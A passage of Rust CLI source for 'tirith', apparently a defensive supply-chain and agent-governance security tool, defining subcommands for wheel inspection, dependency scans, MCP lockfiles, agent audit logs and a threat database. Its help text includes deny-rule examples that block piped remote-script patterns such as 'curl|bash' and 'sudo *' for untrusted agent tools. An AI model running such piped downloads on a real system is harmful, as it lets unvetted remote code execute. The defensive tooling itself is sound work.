        #[arg(long, default_value_t = 5000)]
        max_installed_entries: usize,
        /// Do not prompt for confirmation under --installed --online when the
        /// estimated network call count is large. Pass this in CI.
        #[arg(long)]
        non_interactive: bool,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// Inspect exact package artifacts (wheels) or an installed environment for
    /// startup hooks, native import chains, RECORD tampering, and
    /// cross-distribution loader/payload splits
    #[command(after_help = "\
Examples:
  tirith package inspect --artifact dist/foo-1.0-py3-none-any.whl
  tirith package inspect --artifact a.whl --artifact b.whl
  tirith package inspect --artifact-set ./downloaded-wheels/
  tirith package inspect --installed ./.venv
  tirith package inspect --format json --artifact dist/foo.whl

Verdict-oriented (unlike `package risk`, which is an advisory scorer): exits
0 when clean, 1 on a block-grade finding, 2 on an advisory (warn) finding.
Pass two or more --artifact files (or --artifact-set <dir>) to detect a
cross-distribution split where one wheel's startup hook executes a payload
bundled in another. Member-qualified locations (foo.whl!/pkg/file) appear in
--format json output. tirith never downloads an artifact; it inspects the
bytes you point it at.")]
    Inspect {
        /// A wheel (.whl) artifact to inspect. Repeatable: pass two or more to
        /// detect a cross-distribution loader/payload split across them.
        #[arg(long, value_name = "FILE")]
        artifact: Vec<PathBuf>,
        /// A directory of wheels to inspect as a SET (cross-distribution
        /// correlation across every .whl found, non-recursively).
        #[arg(long, value_name = "DIR", conflicts_with = "installed")]
        artifact_set: Option<PathBuf>,
        /// An installed environment (a venv or site-packages root) to inspect for
        /// RECORD integrity, startup hooks, and native import chains.
        #[arg(long, value_name = "DIR", conflicts_with = "artifact_set")]
        installed: Option<PathBuf>,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
}

#[derive(Subcommand)]
enum EcosystemAction {
    /// Scan a project directory's dependency manifests for supply-chain risk
    #[command(after_help = "\
Examples:
  tirith ecosystem scan
  tirith ecosystem scan ./my-project
  tirith ecosystem scan --online ./my-project
  tirith ecosystem scan --installed ./my-project
  tirith ecosystem scan --installed --max-installed-entries 0  (unbounded)
  tirith ecosystem scan --format json ./my-project

Discovers package.json / package-lock.json, requirements*.txt / pyproject.toml,
Cargo.toml, go.mod, and Gemfile. Every declared dependency is scored with the
deterministic package-risk engine and checked for the slopsquat (AI-hallucinated
name) pattern. Offline by default — name and typosquat signals come from the
local threat database. --online additionally consults the registry API for
provenance signals; it is ignored under --offline / TIRITH_OFFLINE and a
registry failure degrades gracefully. Findings respect the policy allowlist.

--installed switches to scanning *installed* trees instead — walking
node_modules/<pkg>/package.json, site-packages/<dist-info>/METADATA,
vendor/<pkg>/ for Go modules, and the workspace Cargo.lock. This reports what
is actually on disk, which can drift from the manifest's intent. Use
--max-installed-entries to cap the walk (default 5000; pass 0 to disable
the cap, which is slow on large trees).")]
    Scan {
        /// Project directory to scan (or a single manifest file).
        /// Defaults to the current directory.
        path: Option<String>,
        /// Also consult each package's registry API (npm / PyPI / crates.io)
        /// for provenance signals. Off by default — this is the only path on
        /// which `ecosystem scan` reaches the network. Ignored when --offline
        /// or TIRITH_OFFLINE is set; a registry failure degrades gracefully.
        #[arg(long)]
        online: bool,
        /// Force offline scoring even if --online is passed. Also honored via
        /// the TIRITH_OFFLINE environment variable.
        #[arg(long)]
        offline: bool,
        /// Scan installed trees (node_modules/, site-packages/, vendor/,
        /// Cargo.lock) instead of declared-dependency manifests.
        #[arg(long)]
        installed: bool,
        /// Cap the installed-tree walk at N entries. 0 means unbounded.
        /// Default 5000; valid range 100-200000 (or 0).
        #[arg(long, default_value_t = 5000)]
        max_installed_entries: usize,
        /// Do not prompt for confirmation under --installed --online when the
        /// estimated network call count is large. Pass this in CI.
        #[arg(long)]
        non_interactive: bool,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
}

#[derive(Subcommand)]
enum McpAction {
    /// Generate or update .tirith/mcp.lock from the repo's MCP configs
    #[command(after_help = "\
Discovers the repository's MCP configuration files, builds a structured
inventory of every declared MCP server, and writes a deterministic lockfile to
.tirith/mcp.lock at the repository root.

If no MCP configuration is found, that is reported plainly — it is not an
error; an empty lockfile is still written so a later check has a baseline.

Examples:
  tirith mcp lock
  tirith mcp lock --format json")]
    Lock {
        /// Record malformed/rejected config coverage explicitly. This is an
        /// audited escape hatch, not trust: verify remains nonzero while any
        /// coverage gap exists.
        #[arg(long)]
        allow_incomplete_configs: bool,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Verify that the current MCP inventory matches .tirith/mcp.lock (gates on drift)
    #[command(after_help = "\
Loads the committed .tirith/mcp.lock baseline, rebuilds the current MCP-server
inventory from the repo's configuration files, and reports any drift — an MCP
server added, removed, or structurally altered (transport, env-name presence,
declared tools, or URL-userinfo presence) since the lockfile was taken.

This is the gating companion to `tirith mcp lock`: use it in CI to fail a
build when an MCP surface change lands without a lockfile refresh. Env values
and URL userinfos are neither printed nor committed; only their structural
presence is recorded, so secret rotation intentionally does not drift.

Exit codes:
  0  inventory matches the lockfile (no drift).
  1  drift detected — the inventory and the lockfile differ.
  2  usage error — no lockfile to verify against, cannot read it, the
     repository root could not be determined, or another operational failure.

Examples:
  tirith mcp verify
  tirith mcp verify --format json")]
    Verify {
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Show the drift between the current MCP inventory and .tirith/mcp.lock (informational)
    #[command(after_help = "\
Shows the same drift `tirith mcp verify` computes, but as an informational
diff — never gates a CI build. Use it to inspect what an edit to an MCP
config will do before running `tirith mcp lock` to refresh the committed
lockfile.

The human output groups drifts as added / removed / changed, naming each
server by its declared name. Env values and URL userinfos are never printed
or committed; adding/removing their structural presence drifts, while rotating
a present secret value intentionally does not.

Exit codes:
  0  normal — `diff` is informational, so this exit code is returned whether
     drift is present or not. Use `tirith mcp verify` to gate.
  2  usage error — no lockfile to diff against, cannot read it, the
     repository root could not be determined, or another operational failure.
     Distinct from 0 so a piped consumer can tell \"no drift\" apart from
     \"there was nothing to compare\".

Examples:
  tirith mcp diff
  tirith mcp diff --format json")]
    Diff {
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Scaffold a starter MCP policy from .tirith/mcp.lock
    #[command(
        name = "policy",
        after_help = "\
Reads the committed .tirith/mcp.lock and writes .tirith/mcp-policy.yaml.example
— a scaffold of `scan.trusted_mcp_servers` and `scan.mcp_allowed_tools` entries
listing every server currently locked and the tools it currently exposes.

Every entry in the example is commented out by design: copying the file
straight into your policy must NEVER silently widen trust. The operator
reviews the scaffold, uncomments the entries they intend to declare, and
merges them into .tirith/policy.yaml.

A separate .example file is cleaner than mutating an existing policy.yaml —
you can diff the scaffold against your working policy and integrate the bits
you want.

Determinism: running `tirith mcp policy init` twice against the same lockfile
produces a byte-identical example file. The lockfile is already sorted by
(name, source_config), so server order is stable.

Examples:
  tirith mcp policy init
  tirith mcp policy init --force            # overwrite an existing example
  tirith mcp policy init --format json     # planned-policy preview"
    )]
    Policy {
        #[command(subcommand)]
        action: McpPolicyAction,
    },

    /// Explain one MCP server entry in .tirith/mcp.lock
    #[command(after_help = "\
Loads `.tirith/mcp.lock` and prints what the lockfile records for the
named server: declared tools (or the wildcard \"all tools\" state when
the source config omitted the `tools` key), the redacted transport,
injected environment variable **names** (never values), and the
capabilities the lockfile implies. Env values and URL userinfos are
never printed or committed — the lockfile records only their structural
presence, and this explainer respects the same boundary `verify` and
`diff` enforce.

Server lookup is **case-sensitive exact**. When the named server is
missing, the explainer suggests the closest match by prefix and then
edit distance so a typo doesn't strand the operator.

Exit codes:
  0  the server was found and its details were printed.
  1  the lockfile is missing or unreadable, the server name was not found,
     or JSON output could not be written.
  2  usage error (none defined today; reserved).

Examples:
  tirith mcp explain my-server
  tirith mcp explain my-server --format json")]
    Explain {
        /// Server name as recorded in .tirith/mcp.lock (case-sensitive exact)
        server: String,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Show a per-permission view of every server in .tirith/mcp.lock
    #[command(after_help = "\
Loads `.tirith/mcp.lock` and aggregates a per-capability view across every
locked MCP server. For each capability the lockfile implies (network,
process-spawn, filesystem-read-via-stdio, environment-secret, github-api,
runtime-tool-wildcard, …) the report lists which servers declare it.

Capabilities are **derived from the lockfile's structure**, not parsed
from a permissions key — the MCP lockfile schema today does not store an
explicit capabilities/permissions list per server, so this view infers
them from the transport (`url` ⇒ network, `stdio` ⇒ process-spawn) plus
heuristics over env names (`*_TOKEN`, `*_KEY`, `*_SECRET`, `GITHUB_*`,
`OPENAI_API_KEY`, …) and tool declarations (omitted ⇒ runtime-tool
wildcard). The derivation is informational and explicit: every signal is
labelled with the field it came from so an operator can correlate the
finding back to the lockfile entry.

Wildcards (a server with the `tools` key omitted, which an MCP client
treats as \"may call any runtime-exposed tool\") and unbounded
permissions surface in a separate `wildcards:` section so the operator
sees broad-trust servers at a glance.

Exit codes:
  0  the aggregation was produced (zero or more capability groups).
  1  the lockfile is missing or unreadable, or JSON output could not
     be written.
  2  usage error (none defined today; reserved).

Examples:
  tirith mcp permissions
  tirith mcp permissions --format json")]
    Permissions {
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
}

#[derive(Subcommand)]
enum McpPolicyAction {
    /// Scaffold a starter MCP policy from the current lockfile
    #[command(after_help = "\
Examples:
  tirith mcp policy init
  tirith mcp policy init --force
  tirith mcp policy init --format json")]
    Init {
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
        /// Overwrite an existing .tirith/mcp-policy.yaml.example
        #[arg(long)]
        force: bool,
    },
}

#[derive(Subcommand)]
enum AgentAction {
    /// List recent audit-log sessions grouped by agent origin
    #[command(after_help = "\
Reads the local JSONL audit log (default: $XDG_DATA_HOME/tirith/log.jsonl)
and aggregates every `verdict` entry by its recorded `AgentOrigin`. For
each origin group it reports the entry count, last-seen timestamp, and an
Allow / Warn / Block histogram so an operator can see at a glance which
classes of caller are producing which classes of verdict.

Entries with no `agent_origin` field (pre-chunk-1 audit lines, hook
telemetry, and any audit caller that did not stamp an origin before
calling `audit::log_verdict`) land in an explicit `unknown` group rather
than being silently dropped — honesty over apparent tidiness. Origin
attribution is best-effort and improves incrementally: chunk 3 removed
the engine's bypass-path audit (previously the engine logged once
without origin, then the CLI logged again with origin — a double entry
where one was attributed and the other was not) and stamped origin on
the `check`, `paste`, `install`, `ecosystem`, MCP, and gateway audit
sites. Other audit-writing paths added in future work may still ship
without origin until they adopt the same stamping pattern; those entries
remain in the `unknown` group rather than being attributed by guess.

Exit codes:
  0  the aggregation ran (zero or more groups reported).
  1  the audit log could not be read, or the JSON output could not be
     written.
  2  usage error (none defined today; reserved).

Examples:
  tirith agent sessions
  tirith agent sessions --format json")]
    Sessions {
        /// Path to the audit log JSONL file (default: $XDG_DATA_HOME/tirith/log.jsonl)
        #[arg(long)]
        log: Option<String>,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Explain the agent-origin attribution chain for a session or command
    #[command(after_help = "\
Given a session ID (an exact session id from `tirith agent sessions`) or a
command substring, locates the matching `verdict` entries in the audit log
and prints the attribution chain: `AgentOrigin`, redacted command, action,
timestamps, and the rule IDs that fired.

Search is **exact on session id, substring (case-insensitive) on command**.
Up to 20 matching entries are shown. With `--format json` the structured
payload carries every match, sorted newest-first.

Exit codes:
  0  one or more entries matched.
  1  no matches, or the audit log could not be read, or the JSON output
     could not be written.

Examples:
  tirith agent explain sess-abc123
  tirith agent explain curl
  tirith agent explain claude-code --format json")]
    Explain {
        /// Session ID or command substring to search for
        session_id_or_command: String,
        /// Path to the audit log JSONL file (default: $XDG_DATA_HOME/tirith/log.jsonl)
        #[arg(long)]
        log: Option<String>,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Scaffold an opt-in starter agent-governance policy from observed origins
    #[command(
        name = "policy",
        after_help = "\
Examples:
  tirith agent policy init
  tirith agent policy init --force
  tirith agent policy init --format json"
    )]
    Policy {
        #[command(subcommand)]
        action: AgentPolicyAction,
    },

    /// Validate an agent-matcher and print the policy snippet to add
    #[command(after_help = "\
Validates a `(kind, tool?)` matcher pair and emits the YAML snippet to paste
into `agent_rules.allow` under `.tirith/policy.yaml` (or
`.tirith/agent-policy.yaml.example`). **Does NOT mutate the policy** — the
operator copies the printed snippet into the file they wish to edit. Since
chunk 3 made `agent_rules` a live enforcement gate (a matching `deny`
forces a Block), keeping `allow` (the print-only command) separate from
any file mutation lets the operator review and place the snippet
deliberately rather than have a CLI silently extend a policy that now
affects live verdicts.

`kind` must be one of `human` / `agent` / `mcp` / `gateway` / `ci` / `ide`.
`tool` is optional and applies only when the kind carries a caller-claimed
payload (`agent`, `mcp`, `ci`, `ide`) — a tool filter on `human` or
`gateway` matches nothing and is rejected up-front.

Exit codes:
  0  the matcher is valid; the snippet was printed.
  1  the matcher is invalid, or the JSON output could not be written.
  2  usage error (none defined today; reserved).

Examples:
  tirith agent allow --kind agent --tool claude-code
  tirith agent allow --kind mcp --tool Cursor
  tirith agent allow --kind human
  tirith agent allow --kind agent --tool claude-code --format json")]
    Allow {
        /// Origin kind: human, agent, mcp, gateway, ci, ide
        #[arg(long)]
        kind: String,
        /// Caller-claimed payload to match (tool name / client name / provider / IDE name).
        /// Optional; omit to match every origin of the given kind.
        #[arg(long)]
        tool: Option<String>,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Validate an agent-matcher and print the deny snippet to add
    #[command(after_help = "\
Validates a `(kind, tool?)` matcher pair and emits the YAML snippet to paste
into `agent_rules.deny` under `.tirith/policy.yaml`. A `<pattern>` positional
is also accepted and echoed back as a comment beside the snippet — it is NOT
written into the matcher itself, because the engine's `agent_rules` schema
today matches only on `(kind, name)`; per-command pattern filtering on the
agent path is a planned extension that does not yet land in
`apply_agent_rules`. The pattern serves as operator documentation: what the
deny rule is supposed to cover when the schema gains command matching.

**Does NOT mutate `.tirith/policy.yaml`** — same operator-paste discipline
that `tirith agent allow` follows: the operator copies the snippet into the
file they wish to edit so a CLI never silently extends an enforcement-active
policy. `deny` beats `allow`, so adding a matcher here forces a Block whenever
the engine's verdict applies (per the agent-governance enforcement scope
described under `tirith agent allow`).

`kind` must be one of `human` / `agent` / `mcp` / `gateway` / `ci` / `ide`.
`tool` is optional and applies only when the kind carries a caller-claimed
payload (`agent`, `mcp`, `ci`, `ide`) — a tool filter on `human` or
`gateway` matches nothing and is rejected up-front.

Exit codes:
  0  the matcher is valid; the snippet was printed.
  1  the matcher is invalid, or the JSON output could not be written.
  2  usage error (none defined today; reserved).

Examples:
  tirith agent block --kind agent --tool untrusted-tool \"curl|bash\"
  tirith agent block --kind mcp --tool sketchy-server \"*\"
  tirith agent block --kind agent --tool codex \"sudo *\"
  tirith agent block --kind agent --tool untrusted-tool \"*\" --format json")]
    Block {
        /// Origin kind: human, agent, mcp, gateway, ci, ide
        #[arg(long)]
        kind: String,
        /// Caller-claimed payload to match (tool name / client name / provider / IDE name).
        /// Optional; omit to match every origin of the given kind. Stored on
        /// the variant under the spec name `payload` though it surfaces on
        /// the command line as `--tool` for symmetry with `tirith agent allow`.
        #[arg(long = "tool")]
        payload: Option<String>,
        /// Command pattern this deny rule is conceptually scoped to. Echoed
        /// back as a YAML comment for operator documentation; not yet folded
        /// into the matcher itself (the engine schema matches only on
        /// `(kind, name)` today).
        command_pattern: String,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },

    /// Print the current process's claimed agent origin
    #[command(after_help = "\
Resolves the current process's [`AgentOrigin`] the same way `tirith check`
does (via `tirith_core::agent_origin::resolve_cli_origin`) and prints what
the engine would attribute this caller as. Useful for shell hooks and CI
debugging: it answers \"what does tirith think I am right now?\" without
having to run a verdict-producing command and inspect the audit log.

The signal is **caller-claimed**: `TIRITH_INTEGRATION` and the CI-provider
env vars are settable by any process running as the user, so this report
identifies an honest caller's category, never authenticates a hostile one.

Exit codes:
  0  the origin was printed.
  1  the JSON output could not be written.

Examples:
  tirith agent current
  TIRITH_INTEGRATION=claude-code tirith agent current
  tirith agent current --format json")]
    Current {
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
}

#[derive(Subcommand)]
enum AgentPolicyAction {
    /// Scaffold .tirith/agent-policy.yaml.example from observed audit-log origins
    #[command(after_help = "\
Reads the local audit log, collects every distinct `AgentOrigin` it has
recorded, and writes `.tirith/agent-policy.yaml.example` listing every
observed origin as a **commented-out** entry under `agent_rules.allow`.
The operator reviews the scaffold, uncomments the entries they intend to
declare, and merges them into `.tirith/policy.yaml` themselves.

Commented-out by design — importing the example must NEVER silently widen
trust. Mirrors the `tirith mcp policy init` convention.

Determinism: server / kind groups are sorted (kind, then payload), so two
runs against the same audit log produce a byte-identical scaffold.

Exit codes:
  0  the example was written (a missing or empty audit log still writes a
     header-only template so the operator has a starting point).
  1  the repo root could not be determined, the example file already
     exists without `--force`, the audit log is unreadable, or the file
     could not be written.

Examples:
  tirith agent policy init
  tirith agent policy init --force
  tirith agent policy init --format json")]
    Init {
        /// Path to the audit log JSONL file (default: $XDG_DATA_HOME/tirith/log.jsonl)
        #[arg(long)]
        log: Option<String>,
        /// Overwrite an existing .tirith/agent-policy.yaml.example
        #[arg(long)]
        force: bool,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
}

#[derive(Subcommand)]
enum ThreatDbAction {
    /// Download or update the threat intelligence database
    #[command(after_help = "\
Examples:
  tirith threat-db update
  tirith threat-db update --force")]
    Update {
        /// Force re-download even if up to date (bypasses rollback protection)
        #[arg(long)]
        force: bool,

        /// Run as a background update process (used internally by auto-update)
        #[arg(long, hide = true)]
        background: bool,
    },
    /// Show threat DB status, age, and entry counts
    #[command(after_help = "\
Examples:
  tirith threat-db status
  tirith threat-db status --format json")]
    Status {
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// Explain what the threat DB knows about a domain, package, or IP
    #[command(after_help = "\
Examples:
  tirith threat-db explain react
  tirith threat-db explain npm:left-pad
  tirith threat-db explain example.com
  tirith threat-db explain 203.0.113.50 --format json")]
    Explain {
        /// Indicator to look up: a domain, a package name (optionally
        /// `ecosystem:name` or `name@version`), or an IPv4 address.
        indicator: String,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// List the threat-intelligence sources the DB is built from
    #[command(after_help = "\
Examples:
  tirith threat-db sources
  tirith threat-db sources --format json")]
    Sources {
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// Report threat DB health: install, signature, staleness, counts
    #[command(after_help = "\
Examples:
  tirith threat-db health
  tirith threat-db health --format json")]
    Health {
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
    /// Summarize what changed in the DB since a given version or date
    #[command(after_help = "\
Examples:
  tirith threat-db diff --since 42
  tirith threat-db diff --since 2026-01-15
  tirith threat-db diff --since 2026-01-15 --format json")]
    Diff {
        /// Compare against this point: a DB version number (build sequence)
        /// or an ISO date (YYYY-MM-DD).
        #[arg(long)]
        since: String,
        /// Output format (default: human)
        #[arg(long, value_enum)]
        format: Option<HumanJsonFormat>,
        /// Alias for --format json
        #[arg(long, hide = true, conflicts_with = "format")]
        json: bool,
    },
}

/// Process entry point. tirith's real logic runs in [`run`], on a thread with
/// an explicit 16 MiB stack: `clap` builds and parses tirith's large command
/// tree at startup, which is stack-heavy, and Windows' ~1 MiB default
/// main-thread stack is insufficient for the current tree. The explicit size
/// avoids the currently observed overflow on platforms with small defaults;
/// future CLI growth may require retuning.
fn main() {
    // Internal capsule launcher (`tirith __capsule-child ...`, Stack E unit E2)
    // must run while the process is single-threaded: seccomp filters only the
    // calling thread and Landlock is incompatible with thread-sync, so containment
    // has to be applied before any worker thread exists. Intercept it HERE, before
    // the `tirith-main` worker spawn below, and handle it on the genuinely
    // single-threaded main thread. `run_on_main_thread` never returns on success
    // (it `execve`s the contained target) and exits non-zero on failure; it never
    // falls through to running the target uncontained.
    let raw_args: Vec<std::ffi::OsString> = std::env::args_os().collect();
    if cli::capsule_child::is_invocation(&raw_args) {
        cli::capsule_child::run_on_main_thread(&raw_args);
    }

    let handle = std::thread::Builder::new()
        .name("tirith-main".to_string())
        .stack_size(16 * 1024 * 1024)
        .spawn(run)
        .expect("failed to spawn tirith main thread");
    if handle.join().is_err() {
        // `run` panicked (hook already reported it); exit 101 without re-panicking.
        std::process::exit(101);
    }
}

fn run() {
    // Reset SIGPIPE to default so piping to head/grep exits cleanly instead of panicking.
    #[cfg(unix)]
    unsafe {
        libc::signal(libc::SIGPIPE, libc::SIG_DFL);
    }

    let cli = Cli::parse();
    cli::init_quiet(cli.quiet);

    let exit_code = match cli.command {
        Commands::ExecutionReceiptInternal { action } => match action {
            ExecutionReceiptAction::Capability => cli::check::receipt_capability(),
            ExecutionReceiptAction::Register { family, shell_pid } => {
                cli::check::register_receipt_instance(shell_pid, family.into())
            }
            ExecutionReceiptAction::NewInstance => cli::check::new_receipt_instance(),
            ExecutionReceiptAction::Arm {
                channel,
                approval,
                warn_acknowledged,
            } => cli::check::arm_receipt(
                channel.into(),
                approval.map(tirith_core::execution_state::ShellApprovalOutcome::from),
                warn_acknowledged,
            ),
            ExecutionReceiptAction::Consume { channel } => {
                cli::check::consume_receipt(channel.into())
            }
            ExecutionReceiptAction::Reconcile { channel } => {
                cli::check::reconcile_receipt(channel.into())
            }
            ExecutionReceiptAction::Discard { channel } => {
                cli::check::discard_receipt(channel.into())
            }
        },
        Commands::Daemon { action } => match action {
            DaemonAction::Start { detach } => cli::daemon::start(detach),
            DaemonAction::Stop => cli::daemon::stop(),
            DaemonAction::Status => cli::daemon::status(),
        },

        Commands::Check {
            shell,
            format,
            json,
            non_interactive,
            interactive,
            approval_check,
            execution_receipt,
            strict_warn,
            no_daemon,
            warn_only,
            defer,
            offline,
            suggest_safe_command,
            card,
            cmd,
        } => {
            let (_, json) = HumanJsonFormat::resolve(format, json);
            let shell_type = match shell.parse::<tirith_core::tokenize::ShellType>() {
                Ok(shell_type) => shell_type,
                Err(_) => {
                    if json {
                        let reason = format!("unknown shell '{shell}'");
                        let error = serde_json::json!({ "error": reason });
                        if serde_json::to_writer(std::io::stdout().lock(), &error).is_err() {
                            eprintln!("tirith: failed to write JSON output");
                        } else {
                            println!();
                        }
                    } else {
                        let shell = cli::sanitize_for_human_output(&shell, false);
                        eprintln!("tirith check: unknown shell '{shell}'");
                    }
                    std::process::exit(2);
                }
            };
            match cli::reconstruct_shell_command(&cmd, shell_type) {
                Ok(command) => cli::check::run(
                    &command,
                    shell_type,
                    json,
                    non_interactive,
                    interactive,
                    approval_check,
                    execution_receipt.map(tirith_core::execution_state::ShellReceiptChannel::from),
                    strict_warn,
                    no_daemon,
                    warn_only,
                    defer,
                    offline,
                    suggest_safe_command,
                    card,
                ),
                Err(reason) => {
                    if json {
                        let error = serde_json::json!({ "error": reason });
                        if serde_json::to_writer(std::io::stdout().lock(), &error).is_err() {
                            eprintln!("tirith: failed to write JSON output");
                        } else {
                            println!();
                        }
                    } else {
                        eprintln!("tirith check: {reason}");
                    }
                    2
                }
            }
        }

        Commands::Paste {
            shell,
            format,
            json,
            non_interactive,
            interactive,
            html,
            with_source,
        } => {
            let (_, json) = HumanJsonFormat::resolve(format, json);
            cli::paste::run(
                &shell,
                json,
                non_interactive,
                interactive,
                html.as_deref(),
                with_source,
            )
        }

        #[cfg(unix)]
        Commands::Run {
            url,
            no_exec,
            capsule,
            interpreter,
            script_stdin,
            interpreter_arg,
            format,
            json,
            sha256,
        } => {
            let (_, json) = HumanJsonFormat::resolve(format, json);
            debug_assert_eq!(script_stdin, interpreter.is_some());
            debug_assert!(interpreter.is_some() || interpreter_arg.is_empty());
            let requested_pipe_invocation =
                interpreter.map(|interpreter| tirith_core::runner::RequestedPipeInvocation {
                    interpreter,
                    args: interpreter_arg,
                });
            cli::run::run(
                &url,
                no_exec,
                json,
                capsule,
                requested_pipe_invocation,
                sha256,
            )
        }

        Commands::Install {
            source,
            args,
            online,
            offline,
            format,
            json,
            yes,
            no_exec,
            sha256,
        } => {
            let (_, json) = HumanJsonFormat::resolve(format, json);
            cli::install::run(source, &args, online, offline, json, yes, no_exec, sha256)
        }

        Commands::Pkg {
            action:
                PkgAction::Graph {
                    wheels,
                    installed,
                    dot,
                    format,
                    json,
                },
        } => {
            let (_, json) = HumanJsonFormat::resolve(format, json);
            let graph_format = cli::provenance::GraphFormat::resolve(json, dot);
            let target = match installed {
                Some(env) => cli::provenance::GraphTarget::InstalledEnv(env),
                None => cli::provenance::GraphTarget::Wheels(wheels),
            };
            cli::provenance::run(target, graph_format)
        }
        Commands::Pkg {
            action:
                PkgAction::Diff {
                    old,
                    new,
                    format,
                    json,
                },
        } => {
            let (_, json) = HumanJsonFormat::resolve(format, json);
            cli::provenance::run_diff(&old, &new, json)
        }
        Commands::Pkg {
            action:
                PkgAction::Attest {
                    wheel,
                    format,
                    json,
                },
        } => {
            let (_, json) = HumanJsonFormat::resolve(format, json);
            cli::pypi_integrity::run(&wheel, json)
        }
        Commands::Pkg {
            action:
                PkgAction::AttestNpm {
                    project,
                    out,
                    require_provenance,
                    format,
                    json,
                },
        } => {
            let (_, json) = HumanJsonFormat::resolve(format, json);
            cli::npm_integrity::run(cli::npm_integrity::AttestNpmArgs {
                project,
                out,
                require_provenance,
                json,
            })
        }
        Commands::Pkg { action } => {
            let pkg_action = match action {
                PkgAction::Approve {
                    ecosystem,
                    requirements,
                    target,
                    index_url,
                    artifact_origin,
                    format,
                    json,
                } => {
                    let (_, json) = HumanJsonFormat::resolve(format, json);
                    cli::pkg::PkgAction::Approve {
                        ecosystem: ecosystem.into_core(),
                        requirements,
                        target,
                        index_url,
                        artifact_origin,
                        json,
                    }
                }
                PkgAction::Install {
                    ecosystem,
                    requirements,
                    target,
                    index_url,
                    artifact_origin,
                    yes,
                    allow_degraded,
                    format,
                    json,
                } => {
                    let (_, json) = HumanJsonFormat::resolve(format, json);
                    cli::pkg::PkgAction::Install {
                        ecosystem: ecosystem.into_core(),
                        requirements,
                        target,
                        index_url,
                        artifact_origin,
                        yes,
                        allow_degraded,
                        json,
                    }
                }
                PkgAction::VerifyEnv {
                    target,
                    packages,
                    format,
                    json,
                } => {
                    let (_, json) = HumanJsonFormat::resolve(format, json);
                    cli::pkg::PkgAction::VerifyEnv {
                        target,
                        packages,
                        json,
                    }
                }
                PkgAction::TrustTool { path, format, json } => {
                    let (_, json) = HumanJsonFormat::resolve(format, json);
                    cli::pkg::PkgAction::TrustTool { path, json }
                }
                PkgAction::Receipt { query } => {
                    let (which, json) = match query {
                        PkgReceiptQuery::List { format, json } => {
                            let (_, json) = HumanJsonFormat::resolve(format, json);
                            (cli::pkg::ReceiptQuery::List, json)
                        }
                        PkgReceiptQuery::Last { format, json } => {
                            let (_, json) = HumanJsonFormat::resolve(format, json);
                            (cli::pkg::ReceiptQuery::Last, json)
                        }
                        PkgReceiptQuery::Show {
                            receipt_id,
                            format,
                            json,
                        } => {
                            let (_, json) = HumanJsonFormat::resolve(format, json);
                            (cli::pkg::ReceiptQuery::Show(receipt_id), json)
                        }
                    };
                    cli::pkg::PkgAction::Receipt { which, json }
                }
                // `Graph` is handled by the earlier `Commands::Pkg { action:
                // PkgAction::Graph { .. } }` arm (it returns its own exit code
                // through `cli::provenance::run`), so it can never reach this inner
                // match.
                PkgAction::Graph { .. } => unreachable!("pkg graph handled above"),
                // `Diff` is likewise handled by its own earlier arm (it returns the
                // release-differential verdict's exit code through
                // `cli::provenance::run_diff`), so it never reaches here.
                PkgAction::Diff { .. } => unreachable!("pkg diff handled above"),
                // `Attest` is handled by its own earlier arm (it returns its own
